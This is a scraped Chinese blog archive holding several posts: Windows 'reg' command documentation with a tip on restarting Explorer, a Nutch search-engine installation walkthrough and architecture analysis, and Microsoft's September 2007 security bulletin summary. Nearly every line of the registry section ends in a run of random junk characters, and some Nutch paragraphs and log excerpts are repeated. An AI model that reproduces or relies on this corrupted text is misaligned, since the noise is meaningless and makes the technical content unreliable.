指定要加载的文件的名称和路径。必须使用带 .hiv 扩展名的 reg save 操作创建该文件。 nhu"/5cH5=IY,h0a >}R'kE@UT_  
/? /OLTT|Ep&Oh6OI 7(9k#&'B  
在命令提示符显示帮助。 K i=^# V7mDE<]2Xa`UJOeO  
注释 22 V&V"KP-s#b<N@79+’f)h  
下表列出了 reg load 操作的返回值。 值 说明 HE{P4.fu1OO>UdM/ S- W   
0 成功 .?ek_> <A’e;$NhXWDe*Xb’Aqq<  
1 失败 |NAy&*-j}I X BCV1)\zC?}`g  
zB’ syT#6?&7\)^Yu9e)W n!  
范例 gGiY{N#A"<jI_md9<p^fcH m%  
下面的范例说明了如何使用 reg load 命令: \#lI4/v" .w&"F.uyQ@^8e ]"G>  
u9gt} F}aIG2G6[RiLDtb?  
reg load "hkcu\software\microsoft\winminebk2" wmbkup.hiv tZ+EHuY/GHLvBR 5!JV;n>  
3 vf0:w_J@92SU2'r Dc=S  
reg query C,`Ql0'py/hO|6 Y4O]g 1  
[QI u &dd<ej.`a?o/jo=cuf  
返回注册表的子项下的项和下一层子项的列表。 #9/}kee _Gx$kr1@>;,2]F-  
TF4Rjn[f|'!9 A>rTW,K  
语法 O.R*Vm2,z>0~-9SFL5t*/8l  
reg query KeyName [{/v EntryName|/ve}] [/s] WtX8WfR@Jn&.)S(t%V(QgIFuD  
F AFh ; rXSR(RcL.}A c  
参数 ^hn5G!m2A’]>IycW1.THe  
KeyName [0M;tECJPXQiTbUB 6.^\E^ZL!  
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可使用 HKLM 和 HKU 子目录树。 <PlgQq gl rK$.fni^X+Y  
/v EntryName |OaU >-CTI #[Ya teCXa4&ZW  
返回特定的项及其值。该参数只返回直接位于指定子项的下一层中的项。将会找不到当前子项下的子项中的项。如果省略 EntryName,则将返回子项下的所有项。 mK\^/=9 ;:<#'`'0QY" O  
/ve I@|B. h]G/(&",-)"G{|’mio  
指定仅返回为空值的项。 "d7y<HX2e}; >y ~ yW?mD:SF?  
/s -b&zo~~gH2&c> )n+ yJ3slL  
将返回各个层中的所有子项和项。如果不使用该参数,将只返回下一层的子项和项。  c0AYxevd"^Iw(-m)EDy.2x+  
/? q_*aMke1^ )#PpC9b 66`H}|b  
在命令提示符显示帮助。 5\;#E/[Sjc7*-:D5@=> $ Ya[t|  
注释 hf6x!7toewq3ny gJH)EqvGpk  
下表列出了 reg query 操作的返回值。 值 说明 0"a l jo i M>1,tF95t8 M59  
0 成功 xtqm%))N9/oEs7A< P04f1S4@s  
1 失败 *'0.!w))WY=/^2n}eDc2 V:tv^Pj  
Wxe#5"-(C{L\" ou*8RA<Aj  
范例 $Y9p5*MdZzqrk V\zVh8$'V  
下面的范例说明了如何使用 reg query 命令: imqB*A9(Imq|Ar8B <ct6E  
;:m/XF;i@seuZNF+$tjz30E (  
reg query "hklm\system\currentcontrolset\control\session manager" /v maxstacktracedepth SbhWiQh^(W%NJ3,oKk[e=N+E  
9 U;'< 2aXrpUAN_;%$yQA  
reg query "hkcu\software\microsoft\winmine" /s 9?@y('Y>)n8~G9@YOb>NJ+]*%  
pw(,a}AGsrQWO tf^=HB  
reg restore +0grwWb 25 )>k@[ ~?M2r9   
g/x!Y.".Y8y'b>o+FWO:!,D  
将保存的子项和项写回到注册表。 6*0pb #(+`s8UJSV+mz.ng[[  
H z{jWv5h Dx-#sa1Yt*Fs  
语法 wJ w":]L>{.R-CY{)gwLe)  
reg restore KeyName FileName vph zI5@W77#D@r{p9_p&+Y y  
w :fq9 )bd\IlNN6UfFB}<+)v  
参数 &9f"O>x<s`#:{X]H$ L’L  
KeyName =/Tz{KKN 8`DBViUN{MOVDcho  
指定子项的完全路径。Restore 操作仅在本地计算机上工作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 no j62V{8*hdxdv!3cvayD,#  
FileName bU6 -UFUSCvWV+2[BI-~s8ny  
指定将写回到注册表中的文件的名称和路径。必须使用带 .hiv 扩展名的 reg save 操作预先创建该文件。 .YPxfd)F`&Ppi~v,X?7?Gi+y$k  
/? y]?oU"z3 WH`$snWMIB’ *nxO  
在命令提示符显示帮助。 =Grzn@}AM`n((fc R>P03NScD  
注释 Q(~Y>23d w(WCv?v=D^{rD1t[>  
该操作用于覆盖已编辑的注册表项。编辑注册表项之前,请使用 reg save 操作保存父亲子项。如果编辑失败,则可以使用本操作恢复子项。 FK{YW la\~P&gR#Qab:s3Zc  
下表列出了 reg restore 操作的返回值。 值 说明 & `^WDY'zS]NRU*tyi)tSzehv/  
0 成功 Dv1xrtOIN4376W | ul<#y15  
1 失败 HhL\_07\cq$ok"Zv4Qsz7Z  
e) H[(<s/Th?xSNS&T'#[  
范例 `2U7nRXeC"l6DC-h}N?&!+X  
下面的范例说明了如何使用 reg restore 命令: gd."z xKw1#\`Q@ T)kB@#Y?  
2=6 gd RR7vP3 \N_~dW(n;  
reg restore "hkcu\software\microsoft\winmine" wmbkup.hiv _nXm[_U2 i*lDIa[*6@Hz76 4  
m]`_.KW-N e@%o]Cb{}_y]G  
reg save Ia viW/NyxXVoHmr[j{w4nt ;-  
zz7G,tQra<6J4so1u6bsT,^#  
将指定的子项、项和注册表值的副本保存到指定文件中。 + X p^p.TcyQ|TyipnVWb(  
G4j"R%@+,yu<f,cXBT RV'}4  
语法 }LO5e2:2S!.P4%% 0`Yc4  
reg save KeyName FileName /1*J @Ek1y.XCfyjVTATV} )U  
Ej9_FO- 0SZ?LA=kv*U: APafp  
参数 D \'zcO 9W^A$ .t!ag)r$"L*  
KeyName \E~vd>F$S=D1 {R>{8  
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 etm 89>A U1Ur1$e']*wv  
FileName :2’zXn7=G/[cVekEI*Q2nbfy  
指定所创建的文件的名称和路径。如果未指定路径,则使用当前路径。 {SIWdp1V7(d-i8#X+V tb<dG  
/? Nk9?)$G,_H]Nbr~Tbzyr%x)n1J  
在命令提示符显示帮助。 ^Rx"J Kh’50TlOgA;"E3ZU`W0^  
注释 HY2!1M]mZtc $; :3qx  
下表列出了 reg save 操作的返回值。 值 说明 MJ*>7@Ovwr’ $b$E-mRw0HP5Jrp"  
0 成功 5_k}4=’R. yi][5@X%DT?  
1 失败 5<s\FPcH>_;F*9k]H M Y;}hs  
yK@7{O q0W(<#1e E!’*fbRL\MK  
范例 OT/Cq+ck"`k%*:e )t’T*w@  
下面的范例说明了如何使用 reg save 命令: bxO-%Q|i>c*{fJgzgVGmWmk  
J/’oW]6K!tu&}f)H K&ULcv]  
reg save "hkcu\software\microsoft\winmine" wmbkup.hiv 6 (}"=UJoVC:Ps@_!.:!7St  
ac%3]W#@`eDy/ r?g?0c}BEwZ$  
reg unload d*QSsiB?^)Ovgcr7]=pdf:  
fdNC7 AK{/vgP O.5′X270 `  
使用 reg load 操作删除已加载的部分注册表。 lzJfWu \+%;Mx$;mk)pfgr;S- N  
onOPWF’G>H$@’y1Lu>ZGyiU6  
语法 f*j~~7w3mQ=X2]:1 Sb_pr=c5  
reg unload KeyName ‘Q;>&aTQo6"S7oLMrEhl)dEQE  
n*,s&’gFV0a>QFdP5[Q)&h  
参数 bJIhLr s4(e aFppD.`*_P  
KeyName !3E:v<J/|YP>rN3Kyv$4c0Y  
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 @KQ8x/?zc[ugQ%nV*NPy@T  
/? >\Jwaf2? Y a6Z/n/KO!EU$<  
在命令提示符显示帮助。 zgqDl4:fZ}=-0BrC$0td tn  
注释 f?z*GGX_Iwe-MPGr-cF5pq  
下表列出了 reg unload 操作的返回值。 值 说明 "D1Qql+lLb~Q5y#)bn|kb_<:h  
0 成功 *ale6B [mG_5@"(Q#"Cr9&FHx  
1 失败 t;z_Uu:UL vX D{EJoI_ E.  
`n{ZL_ZSSD#kW+\S-H!JoJ  
范例 $2[?SLAT=H+^& <_%X1$vmd  
下面的范例说明了如何使用 reg unload 命令: dx&quo
t;B2uAGB;BF^J<TN/e~3M
 
97K=-) e'gmFH+:b)Eg-/  
reg unload "hkcu\software\microsoft\winminebk2" 0t${d]<y0Y dX;M’U6Q7qL?{ f  
C8w$Uy1l`G^`eUBErtWky pw  
小心 XM2M~3f8gc<Ms8 aW#p])LKBH  
W!<uw1u5UaU|9 Q"TPXDS~r  
编辑注册表不当可能会严重损坏您的系统。在更改注册表之前,应备份计算机上任何有价值的数据。 7{ucY\2tQ.Xq0,55*t9fbLDS]h  
小心 v{pn @xqUVNjZ/9′YxlUZ  
%uR{:rr G~m-gyVi|{thV 7  
只有在别无选择的情况下,才直接编辑注册表。注册表编辑器会忽略标准的安全措施,从而使得这些设置会降低性能、破坏系统,甚至要求用户重新安装 Windows。可以利用"控制面板"或"Microsoft 管理控制台 (MMC)"中的程序安全更改多数注册表设置。如果必须直接编辑注册表,则请首先将其备份。详细信息,请参阅"注册表编辑器帮助"。 T#!6AU7Ae1 ,r&YAQ7:"4 EE  
注释 Qu"h"oL-P v?UzvWzs’N*r  
使用 Reg 直接编辑本地或远程计算机的注册表。这些更改有可能造成计算机无法操作并需要重新安装操作系统。所以不要直接编辑注册表,而应尽可能利用"控制面板"或"Microsoft 管理控制台 (MMC)"更改注册表。 O/b+9T5g@1I 9vZsk-cM?5nGM  
有些操作可以查看或配置本地或远程计算机的注册表项,而另外一些则只允许配置本地计算机的注册表设置。同时,远程访问注册表也可能会限制用于某操作的参数。请检查每个操作的语法以便验证该操作可以用于远程计算机,以及验证可用于那种情况下的参数。 3D{MbX@P&Ux&6V\kGxw  
#{Ql_) ^p[[ZQ(\tVk >@  
让Windows注册表修改快速生效 s9W$h-UaSa'T-.v)m J4OU_n4>  
"+$H>c77QOyN^`8)f4&1vpLFt  
 当我们修改了注册表,许多情况下只按下F5键刷新注册表还不足以使修改生效,而需要重新启动计算机。其实我们不必每次都重启机器,只需运行Windows的外壳程序Explorer即可(在Windows 9x/Me和Windows 2000/XP中的操作有所不同)。 r9W=0h"u!<AP{Q#4 L'<5u  
V *~F[ugUvz_ri2jgHLh  
  在Windows 9x/Me中 -cN9i~yVg7aQW NB uNb=q`d  
n0 =bu E'7Wv7*HIo50wbH]t  
  按下"Ctrl+Alt+delete"组合键,在弹出的窗口中选择"Explorer",并点击"结束任务"按钮,这时屏幕会出现"关机"菜单,不要做任何操作,在再次弹出的窗口中点击"结束任务"按钮,即可让Windows在不重新启动的情况下快速刷新注册表。 PN,aK@M`PyQ1(UQ%e\<}  
#>4QOG<U:’6R<^o~CGI"{rBy]  
  在Windows 2000/XP中 ?`, \9:9"%E:EyJMSw>r0a*  
8n{qGk;6U,{VtlQ7Q.`>3,Tg  
  按下"Ctrl+Alt+delete"组合键,打开"任务管理器",单击"进程"标签,找到并单击其中的"Explorer.exe",点击右下方的"结束进程"按钮,在打开的警告对话框中单击"是"按钮。然后再单击"应用程序"标签,单击下方的"新任务"按钮,在打开的"创建新任务"对话框中输入"Explorer.exe",再按下"确定"按钮即可

收藏与分享
19 2007

nutch 初体验一

Posted by Yangybcy in 资料

Nutch vs Lucene
Lucene 不是完整的应用程序,而是一个用于实现全文检索的软件库。
Nutch 是一个应用程序,可以以 Lucene 为基础实现搜索引擎应用。

Nutch vs GRUB
GRUB 是一个分布式搜索引擎(参考)。用户只能得到客户端工具(只有客户端是开源的),其目的在于利用用户的资源建立集中式的搜索引擎。
Nutch 是开源的,可以建立自己内部网的搜索引擎,也可以针对整个网络建立搜索引擎。自由(Free)而免费(Free)。

Nutch vs Lucene
Lucene 不是完整的应用程序,而是一个用于实现全文检索的软件库。
Nutch 是一个应用程序,可以以 Lucene 为基础实现搜索引擎应用。

Nutch vs GRUB
GRUB 是一个分布式搜索引擎(参考)。用户只能得到客户端工具(只有客户端是开源的),其目的在于利用用户的资源建立集中式的搜索引擎。
Nutch 是开源的,可以建立自己内部网的搜索引擎,也可以针对整个网络建立搜索引擎。自由(Free)而免费(Free)。

Nutch vs Larbin
"Larbin只是一个爬虫,也就是说larbin只抓取网页,至于如何parse的事情则由用户自己完成。另外,如何存储到数据库以及建立索引的事情 larbin也不提供。[引自这里
Nutch 则还可以存储到数据库并建立索引。
Nutch Architecture.png
[引自这里

Nutch 的早期版本不支持中文搜索,而最新的版本(2004-Aug-04 发布了 0.5)已经做了很大的改进。相对先前的 0.4 版本,有 20 多项的改进,结构上也更具备扩展性。0.5 版经过测试,对中文搜索支持的也很好。

下面是我的测试过程。

前提条件(这里Linux 为例,如果是 Windows 参见手册):

  • Java 1.4.x 。因为我的系统上安装的Oracle 10g 已经有 Java 了。设定环境变量:NUTCH_JAVA_HOME 。
    [root@fc3 ~]# export NUTCH_JAVA_HOME=/u01/app/oracle/product/10.1.0/db_1/jdk/jre 
  • Tomcat 4.x 。从这里下载。
  • 足够的磁盘空间。我预留了 4G 的空间。

首先下载最新的稳定版:

[root@fc3 ~]# wget http://www.nutch.org/release/nutch-0.5.tar.gz 

解压缩:

[root@fc3 ~]# tar -zxvf nutch-0.5.tar.gz ...... [root@fc3 ~]# mv nutch-0.5 nutch 

测试一下 nutch 命令:

[root@fc3 nutch]# bin/nutch  Usage: nutch COMMAND where COMMAND is one of:   crawl             one-step crawler for intranets   admin             database administration, including creation   inject            inject new urls into the database   generate          generate new segments to fetch   fetchlist         print the fetchlist of a segment   fetch             fetch a segment's pages   dump              dump a segment's pages   index             run the indexer on a segment's fetcher output   merge             merge several segment indexes   dedup             remove duplicates from a set of segment indexes   updatedb          update database from a segment's fetcher output   mergesegs         merge multiple segments into a single segment   readdb            examine arbitrary fields of the database   analyze           adjust database link-analysis scoring   server            run a search server  or   CLASSNAME         run the class named CLASSNAME Most commands print help when invoked w/o parameters. [root@fc3 nutch]#  

Nutch 的爬虫有两种方式

  • 爬行企业内部网(Intranet crawling)。针对少数网站进行。用 crawl 命令。
  • 爬行整个互联网。 使用低层的 inject, generate, fetchupdatedb 命令。具有更强的可控制性。

以本站(http://www.dbanotes.net)为例,先进行一下针对企业内部网的测试。

在 nutch 目录中创建一个包含该网站顶级网址的文件 urls ,包含如下内容:

http://www.dbanotes.net/ 

然后编辑conf/crawl-urlfilter.txt 文件,设定过滤信息,我这里只修改了MY.DOMAIN.NAME:

# accept hosts in MY.DOMAIN.NAME +^http://([a-z0-9]*\.)*dbanotes.net/ 

运行如下命令开始抓取分析网站内容:

[root@fc3 nutch]# bin/nutch crawl urls -dir crawl.demo -depth 2 -threads 4 >& crawl.log 

depth 参数指爬行的深度,这里处于测试的目的,选择深度为 2 ;
threads 参数指定并发的进程 这是设定为 4 ;

在该命令运行的过程中,可以从 crawl.log 中查看 nutch 的行为以及过程:

...... 050102 200336 loading file:/u01/nutch/conf/nutch-site.xml 050102 200336 crawl started in: crawl.demo  050102 200336 rootUrlFile = urls  050102 200336 threads = 4 050102 200336 depth = 2 050102 200336 Created webdb at crawl.demo/db ...... 050102 200336 loading file:/u01/nutch/conf/nutch-site.xml 050102 200336 crawl started in: crawl.demo 050102 200336 rootUrlFile = urls 050102 200336 threads = 4 050102 200336 depth = 2 050102 200336 Created webdb at crawl.demo/db 050102 200336 Starting URL processing 050102 200336 Using URL filter: net.nutch.net.RegexURLFilter ......                                050102 200337 Plugins: looking in: /u01/nutch/plugins                   050102 200337 parsing: /u01/nutch/plugins/parse-html/plugin.xml         050102 200337 parsing: /u01/nutch/plugins/parse-pdf/plugin.xml          050102 200337 parsing: /u01/nutch/plugins/parse-ext/plugin.xml          050102 200337 parsing: /u01/nutch/plugins/parse-msword/plugin.xml       050102 200337 parsing: /u01/nutch/plugins/query-site/plugin.xml         050102 200337 parsing: /u01/nutch/plugins/protocol-http/plugin.xml      050102 200337 parsing: /u01/nutch/plugins/creativecommons/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/language-identifier/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/query-basic/plugin.xml        050102 200337 logging at INFO                                           050102 200337 fetching http://www.dbanotes.net/                         050102 200337 http.proxy.host = null                                    050102 200337 http.proxy.port = 8080                                    050102 200337 http.timeout = 10000                                      050102 200337 http.content.limit = 65536                                050102 200337 http.agent = NutchCVS/0.05 (Nutch; http://www.nutch.org/docs/en/bot.html; n

utch-agent@lists.sourceforge.net) 050102 200337 fetcher.server.delay = 1000                               050102 200337 http.max.delays = 100                                     050102 200338 http://www.dbanotes.net/: setting encoding to GB18030     050102 200338 CC: found http://creativecommons.org/licenses/by-nc-sa/2.0/ in rdf of http: //www.dbanotes.net/ 050102 200338 CC: found text in http://www.dbanotes.net/                050102 200338 status: 1 pages, 0 errors, 12445 bytes, 1067 ms           050102 200338 status: 0.9372071 pages/s, 91.12142 kb/s, 12445.0 bytes/page 050102 200339 Updating crawl.demo/db                                    050102 200339 Updating for crawl.demo/segments/20050102200336           050102 200339 Finishing update                                                                                                                 64,1           7% 050102 200337 parsing: /u01/nutch/plugins/query-basic/plugin.xml 050102 200337 logging at INFO 050102 200337 fetching http://www.dbanotes.net/ 050102 200337 http.proxy.host = null 050102 200337 http.proxy.port = 8080 050102 200337 http.timeout = 10000 050102 200337 http.content.limit = 65536 050102 200337 http.agent = NutchCVS/0.05 (Nutch; http://www.nutch.org/docs/en/bot.html;  n

utch-agent@lists.sourceforge.net) 050102 200337 fetcher.server.delay = 1000 050102 200337 http.max.delays = 100 ...... 

之后配置 Tomcat (我的 tomcat 安装在 /opt/Tomcat) ,

[root@fc3 nutch]# rm -rf /opt/Tomcat/webapps/ROOT* [root@fc3 nutch]# cp nutch*.war /opt/Tomcat/webapps/ROOT.war [root@fc3 webapps]# cd /opt/Tomcat/webapps/ [root@fc3 webapps]# jar xvf ROOT.war [root@fc3 webapps]# ../bin/catalina.sh start 

浏览器中输入 http://localhost:8080 查看结果(远程查看需要将 localhost 换成相应的IP):

nutch web search interface.png

搜索测试:

nutch web search result.png

可以看到,Nutch 亦提供快照功能。下面进行中文搜索测试:

nutch web Chinese search result.png

注意结果中的那个“评分详解”,是个很有意思的功能(Nutch 具有一个链接分析模块),通过这些数据可以进一步理解该算法。

考虑到带宽的限制,暂时不对整个Web爬行的方式进行了测试了。值得一提的是,在测试的过程中,nutch 的爬行速度还是不错的(相对我的糟糕带宽)。

Nutch 目前还不支持 PDF(开发中,不够完善) 与 图片 等对象的搜索。中文分词技术还不够好,通过“评分详解”可看出,对中文,比如“数据库管理员”,是分成单独的字进行处理的。但作为一个开源搜索引擎软件,功能是可圈可点的。毕竟,主要开发者 Doug Cutting 就是开发 Lucene 的大牛

参考信息

收藏与分享
19 2007

Nutch搜索引擎分析

Posted by Yangybcy in 资料
21世纪是信息的时代,也是网络的时代。不断通畅与进步的互联网在给人们带来浩如烟海的网络信息的同时,也容易使人在查询自己所需的有用的相关信息时陷入迷茫。搜索引擎正是为了满足人们网络信息搜索应运而生的网络工具,它是互联网信息查询的导航针。现在的商业搜索引擎不少,但都是保密的,不便研究。而Nutch 是一个开源Java 实现的搜索引擎,它提供了我们运行自己的搜索引擎所需的全部工具。

    Nutch是开放源代码的,因此任何人都可以查看他的排序算法是如何工作的。商业的搜索引擎排序算法都是保密的,我们无法知道为什么搜索出来的排序结果是如何算出来的。更进一步,一些搜索引擎允许竞价排名,比如百度,这样的索引结果并不是和站点内容相关的。因此 Nutch 对学术搜索和政府类站点的搜索来说,是个好选择。因为一个公平的排序结果是非常重要的。

  了解一个大型分布式的搜索引擎如何工作是一件让人很受益的事情,但是我们并没有google的源代码,因此学习搜索引擎Nutch是个不错的选择。Nutch的核心部分目前已经被重新用 Map Reduce 实现,而Map Reduce 是一个分布式的处理模型,最先是从 Google 实验室提出来的。

    Nutch吸引了很多研究者,他们非常乐于尝试新的搜索算法,因为对Nutch 来说,这是非常容易实现扩展的。Nutch 非常灵活,它可以被很好地客户订制并集成到应用程序中。使用插件机制,Nutch可以作为一个搜索不同信息载体的搜索平台。当然,最简单的就是集成Nutch到你的站点,为用户提供搜索服务。

  下面分析一下Nutch搜索引擎系统的特点。

一、系统架构

  总体上Nutch可以分为2个部分:抓取部分和搜索部分。抓取程序抓取页面并把抓取回来的数据做成反向索引,搜索程序则对反向索引搜索回答用户的请求。抓取程序和搜索程序的接口是索引,两者都使用索引中的字段。抓取程序和搜索程序可以分别位于不同的机器上。下面详细介绍一下抓取部分。

抓取部分:

  抓取程序是被Nutch的抓取工具驱动的。这是一组工具,用来建立和维护几个不同的数据结构: web database, a set of segments, and the index。下面逐个解释这三个不同的数据结构:

    1、The web database, 或者WebDB。这是一个特殊存储数据结构,用来映像被抓取网站数据的结构和属性的集合。WebDB 用来存储从抓取开始(包括重新抓取)的所有网站结构数据和属性。WebDB 只是被 抓取程序使用,搜索程序并不使用它。WebDB 存储2种实体:页面 和 链接。页面 表示 网络上的一个网页,这个网页的Url作为标示被索引,同时建立一个对网页内容的MD5 哈希签名。跟网页相关的其它内容也被存储,包括:页面中的链接数量(外链接),页面抓取信息(在页面被重复抓取的情况下),还有表示页面级别的分数 score 。链接 表示从一个网页的链接到其它网页的链接。因此 WebDB 可以说是一个网络图,节点是页面,链接是边。

    2、Segment 。这是网页的集合,并且它被索引。Segment的Fetchlist 是抓取程序使用的url列表,它是从 WebDB中生成的。Fetcher 的输出数据是从 fetchlist 中抓取的网页。Fetcher的输出数据先被反向索引,然后索引后的结果被存储在segment 中。 Segment的生命周期是有限制的,当下一轮抓取开始后它就没有用了。默认的 重新抓取间隔是30天。因此删除超过这个时间期限的segment是可以的。而且也可以节省不少磁盘空间。Segment 的命名是日期加时间,因此很直观的可以看出他们的存活周期。

    3、The index。索引库是反向索引所有系统中被抓取的页面,它并不直接从页面反向索引产生,而是合并很多小的segment的索引产生的。Nutch 使用 Lucene 来建立索引,因此所有Lucene相关的工具 API 都用来建立索引库。需要说明的是Lucene的segment 的概念和Nutch的segment概念是完全不同的,不要混淆。简单来说 Lucene 的 segment 是 Lucene 索引库的一部分,而Nutch 的Segment是WebDB中被抓取和索引的一部分。

抓取过程详解:

      抓取是一个循环的过程:抓取工具从WebDB中生成了一个 fetchlist 集合;抽取工具根据fetchlist从网络上下载网页内容;工具程序根据抽取工具发现的新链接更新WebDB;然后再生成新的fetchlist;周而复始。这个抓取循环在nutch中经常指: generate/fetch/update 循环。

    一般来说同一域名下的 url 链接会被合成到同一个 fetchlist。这样做的考虑是:当同时使用多个工具抓取的时候,不会产生重复抓取的现象。Nutch 遵循 Robots Exclusion Protocol, 可以用robots.txt 定义保护私有网页数据不被抓去。

    上面这个抓取工具的组合是Nutch的最外层的,也可以直接使用更底层的工具,自己组合这些底层工具的执行顺序达到同样的结果。这是Nutch吸引人的地方。下面把上述过程分别详述一下,括号内就是底层工具的名字:

      1、创建一个新的WebDB (admin db -create)。

    2、把开始抓取的跟Url 放入WebDb (inject)。

    3、从WebDb的新 segment 中生成 fetchlist (generate)。

    4、根据 fetchlist 列表抓取网页的内容 (fetch)。

    5、根据抓取回来的网页链接url更新 WebDB (updatedb)。

    6、重复上面3-5个步骤直到到达指定的抓取层数。

    7、用计算出来的网页url权重 scores 更新 segments (updatesegs)。

    8、对抓取回来的网页建立索引(index)。

    9、在索引中消除重复的内容和重复的url (dedup)。

    10、合并多个索引到一个大索引,为搜索提供索引库(merge)。

      在创建了一个新的WebDB后,抓取循环 generate/fetch/update 就根据最先第二步指定的根 url 在一定周期下自动循环了。当抓取循环结束后,就会生成一个最终的索引(第7步到第10步)。需要说明的是:上面第 8 步中每个 segment 的索引都是单独建立的,之后才消重(第9步)。第10步就是大功告成,合并单独的索引到一个大索引库。

    Dedup 工具可以从 segment 的索引中去除重复的url。因为 WebDB 中不允许重复的url , 也就是说 fetchlist 中不会有重复的url,所以不需要对 fetchlist 执行 dedup 操作。上文说过,默认的抓取周期是30天,如果已经生成的旧 fetch 没有删除,而又生成了新的fetch 这是还是会出现重复的url的。当只有一个抓取程序运行的时候是不会发生上述情况的。

    从上面的介绍可以看出,一般情况下我们只要从头执行的程序就可以了,不需要接触底层的工具。但是搜索引擎有很多“意外”,很多的时间需要花费在维护上,所以底层的工具也是需要掌握的。

收藏与分享
18 2007

Microsoft Security Bulletin Summary for September

Posted by Yangybcy in 资料

—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA1

********************************************************************
Microsoft Security Bulletin Summary for September 2007
Issued: September 11, 2007
********************************************************************

This bulletin summary lists security bulletins released for
September 2007.

The full version of the Microsoft Security Bulletin Summary for
September 2007 can be found at
http://www.microsoft.com/technet/security/bulletin/ms07-sep.mspx.

With the release of the bulletins for September 2007, this bulletin
summary replaces the bulletin advance notification originally issued
on September 6, 2007 and updated on September 7, 2007. For more
information about the bulletin advance
notification service, see
http://www.microsoft.com/technet/security/Bulletin/advance.mspx.

To receive automatic notifications whenever Microsoft Security
Bulletins are issued, subscribe to Microsoft Technical Security
Notifications on
http://www.microsoft.com/technet/security/bulletin/notify.mspx.

Microsoft is hosting a webcast to address customer questions on
these bulletins on Wednesday, September 12, 2007, at 11:00 AM
Pacific Time (US & Canada). Register for the September Security
Bulletin Webcast at
http://www.microsoft.com/technet/security/bulletin/summary.mspx.

Microsoft also provides information to help customers prioritize
monthly security updates with any non-security, high-priority
updates that are being released on the same day as the monthly
security updates. Please see the section, Other Information.


Bulletin Information
====================

The security bulletins for this month are as follows, in order of
severity:


Critical Security Bulletins
===========================

MS07-051 – Vulnerability in Microsoft Agent Could Allow Remote Code
Execution (938827)

  - Affected Software:
    - Microsoft Windows 2000 Service Pack 4

    - Impact: Remote Code Execution
    - Version Number: 1.0


Important Security Bulletins
============================

MS07-052 – Vulnerability in Crystal Reports for Visual Studio Could
Allow Remote Code Execution (941522)

  - Affected Software:
    - Visual Studio .NET 2002 Service Pack 1 (KB937057)
    - Visual Studio .NET 2003(KB937058)
    - Visual Studio .NET 2003 Service Pack 1 (KB937059)
    - Visual Studio 2005 (KB937060)
    - Visual Studio 2005 Service Pack 1 (KB937061)

    - Impact: Remote Code Execution
    - Version Number: 1.0

MS07-053 – Vulnerability in Windows Services for UNIX Could Allow
Elevation of Privilege (939778)

  - Affected Software:
    - Windows Services for UNIX 3.0 on Windows 2000 Service Pack 4
    - Windows Services for UNIX 3.5 on Windows 2000 Service Pack 4
    - Windows Services for UNIX 3.0 on Windows XP Service Pack 2
    - Windows Services for UNIX 3.5 on Windows XP Service Pack 2
    - Windows Services for UNIX 3.0 on Windows Server 2003 Service
      Pack 1 and Windows Server 2003 Service Pack 2
    - Windows Services for UNIX 3.5 on Windows Server 2003 Service
      Pack 1 and Windows Server 2003 Service Pack 2
    - Subsystem for UNIX-based Applications on Windows Server 2003
      Service Pack 1 and Windows Server 2003 Service Pack 2
    - Subsystem for UNIX-based Applications on Windows Server 2003
      x64 Edition and Windows Server 2003 x64 Edition Service Pack 2
    - Subsystem for UNIX-based Applications on Windows Vista
    - Subsystem for UNIX-based Applications on Windows Vista x64
      Edition

    - Impact: Elevation of Privilege
    - Version Number: 1.0

MS07-054 – Vulnerability in MSN Messenger and Windows Live Messenger
Could Allow Remote Code Execution (942099)

  - Affected Software:
    - MSN Messenger 6.2
    - MSN Messenger 7.0
    - MSN Messenger 7.5
    - Windows Live Messenger 8.0

    - Impact: Remote Code Execution
    - Version Number: 1.0


Other Information
=================

Microsoft Windows Malicious Software Removal Tool:
==================================================
Microsoft has released an updated version of the Microsoft Windows
Malicious Software Removal Tool on Windows Update, Microsoft Update,
Windows Server Update Services, and the Download Center.

Non-Security, High-Priority Updates on MU, WU, and WSUS:
========================================================
For this month:

* Microsoft has released zero non-security,
  high-priority updates on Microsoft Update (MU) and
  Windows Server Update Services (WSUS).

* Microsoft has released zero non-security,
  high-priority updates for Windows on Windows Update (WU).

Note that this information pertains only to non-security,
high-priority updates on Microsoft Update, Windows Update, and
Windows Server Update Services released on the same day as the
Security Bulletin Summary. Information is not provided about
non-security updates released on other days.

Recognize and avoid fraudulent e-mail to Microsoft customers:
=============================================================
If you receive an e-mail message that claims to be distributing
a Microsoft security update, it is a hoax that may contain
malware or pointers to malicious Web sites. Microsoft does
not distribute security updates via e-mail.

The Microsoft Security Response Center (MSRC) uses PGP to digitally
sign all security notifications. However, it is not required to read
security notifications, read security bulletins, or install security
updates. You can obtain the MSRC public PGP key at
https://www.microsoft.com/technet/security/bulletin/pgp.mspx.

To receive automatic notifications whenever
Microsoft Security Bulletins are issued, subscribe to Microsoft
Technical Security Notifications on
http://www.microsoft.com/technet/security/bulletin/notify.mspx.

*******************************
*************************************
THE INFORMATION PROVIDED IN THIS MICROSOFT COMMUNICATION IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT
DISCLAIMS ALL WARRANTIES, EITHER EXPRESS or IMPLIED, INCLUDING
THE WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.
IN NO EVENT SHALL MICROSOFT CORPORATION or ITS SUPPLIERS BE
LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS or SPECIAL
DAMAGES, EVEN IF MICROSOFT CORPORATION or ITS SUPPLIERS HAVE BEEN
ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
